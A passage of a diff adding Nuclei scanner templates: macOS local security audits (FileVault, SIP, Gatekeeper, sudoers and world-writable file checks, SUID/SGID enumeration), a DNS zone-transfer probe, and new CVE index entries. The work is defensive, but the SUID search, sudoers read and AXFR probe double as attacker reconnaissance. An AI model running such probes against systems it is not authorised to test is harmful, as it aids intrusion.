+    Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
+  remediation: |
+    Disable automatic login to require a password at startup and enhance physical security.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+
+      - type: word
+        words:
+          - "does not exist"
+        negative: true
+# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: filevault-disabled
+
+info:
+  name: macOS FileVault Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
+  impact: |
+    Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
+  remediation: |
+    Enable FileVault to encrypt the entire disk and protect the data at rest.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      fdesetup status
+    matchers:
+      - type: word
+        words:
+          - "FileVault is Off."
+# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: firewall-disabled
+
+info:
+  name: macOS Application Firewall Disabled
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
+  impact: |
+    Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
+  remediation: |
+    Enable the macOS application firewall to control network access for applications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
+    matchers:
+      - type: word
+        words:
+          - "Firewall is disabled. (State = 0)"
+# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: gatekeeper-disabled
+
+info:
+  name: macOS Gatekeeper Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
+  impact: |
+    Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
+  remediation: |
+    Enable Gatekeeper to ensure that only applications from identified developers can be run.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      spctl --status
+    matchers:
+      - type: word
+        words:
+          - "assessments disabled"
+# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: guest-user-enabled
+
+info:
+  name: macOS Guest User Enabled
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
+  impact: |
+    Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
+  remediation: |
+    Disable the guest user account to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^1$"
+# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-cron-jobs
+
+info:
+  name: macOS World-Writable Cron Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Finds world-writable cron job files on macOS that can be modified by any user on the system.
+  impact: |
+    World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable cron job files.
+  tags: macos,audit,local,security,cron
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-exports-permissions
+
+info:
+  name: macOS Insecure /etc/exports Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
+  impact: |
+    Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
+  remediation: |
+    Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security,nfs
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/exports 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-fstab-permissions
+
+info:
+  name: macOS Insecure /etc/fstab Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
+  impact: |
+    Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
+  remediation: |
+    Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/fstab 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-hostconfig-permissions
+
+info:
+  name: macOS Insecure /etc/hostconfig Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
+  impact: |
+    Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
+  remediation: |
+    Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/hostconfig 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-etc-inetd-conf-permissions
+
+info:
+  name: macOS Insecure /etc/inetd.conf Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
+  impact: |
+    Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
+  remediation: |
+    Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/inetd.conf 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-homebrew-permissions
+
+info:
+  name: macOS World-Writable Homebrew Files
+  author: geeknik
+  severity: medium
+  description: |
+    Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
+  impact: |
+    World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable files in the Homebrew directory.
+  tags: macos,audit,local,security,homebrew
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-launchd-jobs
+
+info:
+  name: macOS World-Writable Launchd Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Searches for world-writable launchd job files on macOS that allow modification by any user.
+  impact: |
+    World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable launchd job files.
+  tags: macos,audit,local,security,launchd
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-startup-items
+
+info:
+  name: macOS World-Writable Startup Items
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
+  impact: |
+    World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable startup items.
+  tags: macos,audit,local,security,startup
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-sudo-timestamp
+
+info:
+  name: macOS Excessive Sudo Timestamp Timeout
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if the sudo timestamp timeout is configured to an excessively long duration (100+ minutes).
+  impact: |
+    A long sudo timestamp can allow a user to execute commands with root privileges for an extended period of time without re-entering their password.
+  remediation: |
+    Set the sudo timestamp to a reasonable value to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      grep -E "^Defaults.*timestamp_timeout=" /etc/sudoers
+    matchers:
+      - type: regex
+        regex:
+          - "timestamp_timeout=([1-9][0-9]{2,})"
+# digest: 4a0a00473045022056c70c9e83ca5b06dfd2d6f37d3fac472448c1684e5513de20f012e1c6d79207022100fa6c9d279661d23106d9c0c878ae249adb35cd312d45c18c3f9a6f098d8bf186:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: insecure-sudoers-permissions
+
+info:
+  name: macOS Insecure /etc/sudoers Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
+  impact: |
+    Insecure permissions on /etc/sudoers could allow unauthorized users to modify the file and grant themselves root privileges.
+  remediation: |
+    Ensure that the /etc/sudoers file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0440 or more restrictive.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/sudoers 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-r--r-----\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a0048304602210097a287244d9ed09ffb331116f32802392d11aaa8fb0213fc39c35c24166d8beb022100bd0f5ae8e37b1081db8f56616615959457283c1558406ddcb720f041b2aaa582:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-tty-permissions
+
+info:
+  name: macOS World-Readable TTY Devices
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if TTY devices are readable by all users, potentially allowing session snooping.
+  impact: |
+    If TTYs are readable by all users, it may be possible for an attacker to sniff sensitive information from other users' sessions.
+  remediation: |
+    Ensure that TTYs are not readable by all users.
+  tags: macos,audit,local,security,tty
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /dev/tty*
+    matchers:
+      - type: regex
+        regex:
+          - "crw-rw-rw-.*"
+# digest: 4a0a00473045022100e4abc01b85856b24dcdfa381e0bd89e145134b9bc22ca800b319461178c681740220239dac32ccb77f5a93dacc9aade8a0607f2f3fe0817dd862557c49551ef40cea:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: insecure-umask
+
+info:
+  name: macOS Permissive Umask Configuration
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the umask is configured with overly permissive values that create insecurely accessible files.
+  impact: |
+    A permissive umask can result in new files being created with world-writable permissions, which can be a security risk.
+  remediation: |
+    Set the umask to a more restrictive value to ensure that new files are created with secure permissions.
+  tags: macos,audit,local,security,umask
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      umask
+    matchers:
+      - type: regex
+        regex:
+          - "^0?0[0-2][0-7]$"
+        negative: true
+# digest: 4b0a00483046022100c69d262b8d1b34e76e3555fcdba1fae77480c154bd0e30ba8b0acb7e0ed03e3b022100d2c19fc4e134aa384f4498467fe35d921684fe767e0d2948c4f4066cc8491723:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: sip-disabled
+
+info:
+  name: macOS System Integrity Protection (SIP) Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Validates whether System Integrity Protection (SIP) is disabled, removing critical restrictions on system modifications.
+  impact: |
+    Disabling SIP significantly weakens the security of the system, making it more vulnerable to malware and unauthorized modifications.
+  remediation: |
+    Enable System Integrity Protection (SIP) to protect the system from unauthorized modifications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      csrutil status
+    matchers:
+      - type: word
+        words:
+          - "System Integrity Protection status: disabled."
+# digest: 4b0a00483046022100a9c95ce47a76fc6365a0b50b12e67d6d2da2a2faecd59065b1b0ded05df9ebc9022100a6877fd0ebd4f9c2a736f424a6a383ce72760683f1fd31826405e1f05e945676:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: ssh-service-running
+
+info:
+  name: macOS SSH Service Running
+  author: geeknik
+  severity: info
+  description: |
+    Checks if the SSH service (Remote Login) is running on the macOS system.
+  impact: |
+    While not a vulnerability in itself, a running SSH service can be a potential attack vector if not properly configured and secured.
+  remediation: |
+    Disable the SSH service if it is not needed. If it is required, ensure that it is properly configured with strong passwords and key-based authentication.
+  tags: macos,audit,local,security,ssh
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      launchctl print system/com.openssh.sshd 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: word
+        words:
+          - "state = running"
+          - "com.openssh.sshd"
+# digest: 4a0a00473045022053ce4877c2b6dd468f675d1170e575f39b925e2aa4deeeec03b1a0ed80e322cc022100de4617540a86bac57c234caa4f163cb06390cd4e5915dd8b8bbb7c835b10d873:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: suid-sgid-files
+
+info:
+  name: macOS SUID/SGID Files Detection
+  author: geeknik
+  severity: high
+  description: |
+    Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
+  impact: |
+    Misconfigured SUID/SGID executables in user-writable directories can be exploited by local users to gain elevated privileges.
+  remediation: |
+    Review the list of SUID/SGID files and remove the permissions if they are not necessary.
+  tags: macos,audit,local,security,privesc
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /usr/local /opt /Applications -perm -4000 -o -perm -2000 -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "^-rws.*"
+          - "^-..s.*"
+# digest: 4b0a00483046022100dd30985f866765efba07fa5b717ba0293926c4eac8375acdb63235ac56712901022100f2217c9a5f0f16219fe49d888b8195944c5095e3680dd822cbb3dbe840d9a3f0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: dns-axfr-enabled
+
+info:
+  name: DNS Zone Transfer Check (AXFR)
+  author: matejsmycka
+  severity: medium
+  description: |
+    Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
+  reference:
+    - https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
+  metadata:
+    verified: true
+    shodan-query: port:53
+  tags: dns,tcp,axfr,code
+
+code:
+  - engine:
+      - bash
+    source: |
+      domain=$Host
+      dig axfr $domain @$(dig $domain ns +short | head -n1)
+
+    matchers:
+      - type: regex
+        regex:
+          - 'XFR size: [1-9][0-9]* records?'
+        condition: and
+
+    extractors:
+      - type: regex
+        regex:
+          - 'SOA\s+([^\s]+)'
+        group: 1
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
@@ -1,5 +1,5 @@
 {"ID":"CVE-2000-0114","Info":{"Name":"Microsoft FrontPage Extensions - Information Disclosure","Severity":"medium","Description":"Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2000/CVE-2000-0114.yaml"}
-{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Exposure","Severity":"low","Description":"The Snoop servlet in Jakarta Tomcat 3.1 and 3.0 under Apache reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
+{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Information Disclosure","Severity":"medium","Description":"Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
 {"ID":"CVE-2001-0537","Info":{"Name":"Cisco IOS HTTP Configuration - Authentication Bypass","Severity":"critical","Description":"HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2001/CVE-2001-0537.yaml"}
 {"ID":"CVE-2002-1131","Info":{"Name":"SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting","Severity":"high","Description":"The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2002/CVE-2002-1131.yaml"}
 {"ID":"CVE-2004-0519","Info":{"Name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","Severity":"medium","Description":"Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php.","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2004/CVE-2004-0519.yaml"}
@@ -426,6 +426,7 @@
 {"ID":"CVE-2017-14537","Info":{"Name":"Trixbox 2.8.0 - Path Traversal","Severity":"medium","Description":"Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2017/CVE-2017-14537.yaml"}
 {"ID":"CVE-2017-14622","Info":{"Name":"WordPress 2kb Amazon Affiliates Store \u003c2.1.1 - Cross-Site Scripting","Severity":"medium","Description":"WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-14622.yaml"}
 {"ID":"CVE-2017-14651","Info":{"Name":"WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting","Severity":"medium","Description":"WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2017/CVE-2017-14651.yaml"}
+{"ID":"CVE-2017-14725","Info":{"Name":"WordPress \u003c 4.8.2 - Authenticated Open Redirect","Severity":"medium","Description":"WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-14725.yaml"}
 {"ID":"CVE-2017-14849","Info":{"Name":"Node.js \u003c8.6.0 - Directory Traversal","Severity":"high","Description":"Node.js before 8.6.0 allows remote attackers to access unintended files because a change to \"..\" handling is incompatible with the pathname validation used by unspecified community modules.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-14849.yaml"}
 {"ID":"CVE-2017-14942","Info":{"Name":"Intelbras WRN 150 - Authentication Bypass","Severity":"critical","Description":"Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-14942.yaml"}
 {"ID":"CVE-2017-15287","Info":{"Name":"Dreambox WebControl 2.0.0 - Cross-Site Scripting","Severity":"medium","Description":"Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the \"Name des Bouquets\" field, or the file parameter to the /file URI.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-15287.yaml"}
@@ -438,6 +439,7 @@
 {"ID":"CVE-2017-16894","Info":{"Name":"Laravel \u003c5.5.21 - Information Disclosure","Severity":"high","Description":"Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-16894.yaml"}
 {"ID":"CVE-2017-17043","Info":{"Name":"WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter \"post\" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17043.yaml"}
 {"ID":"CVE-2017-17059","Info":{"Name":"WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting","Severity":"medium","Description":"WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17059.yaml"}
+{"ID":"CVE-2017-17092","Info":{"Name":"WordPress \u003c 4.9.1 - Authenticated JavaScript File Upload","Severity":"medium","Description":"WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-17092.yaml"}
 {"ID":"CVE-2017-17451","Info":{"Name":"WordPress Mailster \u003c=1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17451.yaml"}
 {"ID":"CVE-2017-17562","Info":{"Name":"Embedthis GoAhead \u003c3.6.5 - Remote Code Execution","Severity":"high","Description":"description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-17562.yaml"}
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
@@ -491,6 +493,7 @@
 {"ID":"CVE-2017-5868","Info":{"Name":"OpenVPN Access Server 2.1.4 - CRLF Injection","Severity":"medium","Description":"CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via \"%0A\" characters in the PATH_INFO to __session_start__/.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-5868.yaml"}
 {"ID":"CVE-2017-5871","Info":{"Name":"Odoo \u003c= 8.0-20160726 \u0026 9.0 - Open Redirect","Severity":"medium","Description":"An Open Redirect vulnerability in Odoo versions \u003c= 8.0-20160726 and 9.0. This issue allows an attacker to redirect users to untrusted sites via a crafted URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-5871.yaml"}
 {"ID":"CVE-2017-5982","Info":{"Name":"Kodi 17.1 - Local File Inclusion","Severity":"high","Description":"Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-5982.yaml"}
+{"ID":"CVE-2017-5983","Info":{"Name":"JIRA Workflow Designer Plugin in Atlassian JIRA Server \u003e 6.3.0 - Remote Code Execution (XXE)","Severity":"critical","Description":"The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-5983.yaml"}
 {"ID":"CVE-2017-6090","Info":{"Name":"PhpColl 2.5.1 Arbitrary File Upload","Severity":"high","Description":"PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-6090.yaml"}
